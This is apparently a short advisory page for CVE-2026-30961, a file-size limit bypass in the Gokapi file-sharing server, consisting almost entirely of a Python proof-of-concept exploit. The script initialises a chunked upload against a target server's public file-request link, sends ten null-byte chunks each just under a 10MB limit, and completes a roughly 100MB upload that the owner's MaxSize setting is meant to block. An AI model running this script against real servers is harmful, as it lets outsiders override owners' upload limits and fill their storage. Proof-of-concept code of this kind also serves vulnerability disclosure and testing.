CVE-2026-30961 Gokapi文件请求MaxSize限制绕过漏洞

# CVE-2026-30961 PoC - Gokapi MaxSize Bypass via Chunked Upload # This PoC demonstrates how to bypass file size limits using chunked uploads import requests import hashlib TARGET_URL = "http://target-gokapi-server.com" FILE_REQUEST_ID = "your-public-file-request-id" # Public file request link MAX_SIZE_LIMIT = 10485760 # 10MB per request limit def create_chunked_upload(): """Initialize chunked upload session""" endpoint = f"{TARGET_URL}/api/v1/upload/chunked/init" payload = { "fileRequestId": FILE_REQUEST_ID, "fileName": "large_file.zip", "totalSize": 104857600 # 100MB - exceeds MaxSize } response = requests.post(endpoint, json=payload) return response.json().get("uploadId") def upload_chunk(upload_id, chunk_data, chunk_index): """Upload individual chunk - each under MaxSize limit""" endpoint = f"{TARGET_URL}/api/v1/upload/chunked" files = { "chunk": chunk_data } data = { "uploadId": upload_id, "chunkIndex": chunk_index } response = requests.post(endpoint, files=files, data=data) return response.status_code == 200 def complete_chunked_upload(upload_id): """Complete upload - total size not validated against MaxSize""" endpoint = f"{TARGET_URL}/api/v1/upload/chunked/complete" payload = { "uploadId": upload_id } response = requests.post(endpoint, json=payload) return response.json() def exploit(): """Main exploit function""" upload_id = create_chunked_upload() chunk_size = MAX_SIZE_LIMIT - 1 # Just under limit total_chunks = 10 # Total 100MB for i in range(total_chunks): chunk = b'\x00' * chunk_size # Fake chunk data upload_chunk(upload_id, chunk, i) result = complete_chunked_upload(upload_id) print(f"Upload completed: {result}") # File uploaded despite exceeding per-request MaxSize limit if __name__ == "__main__": exploit()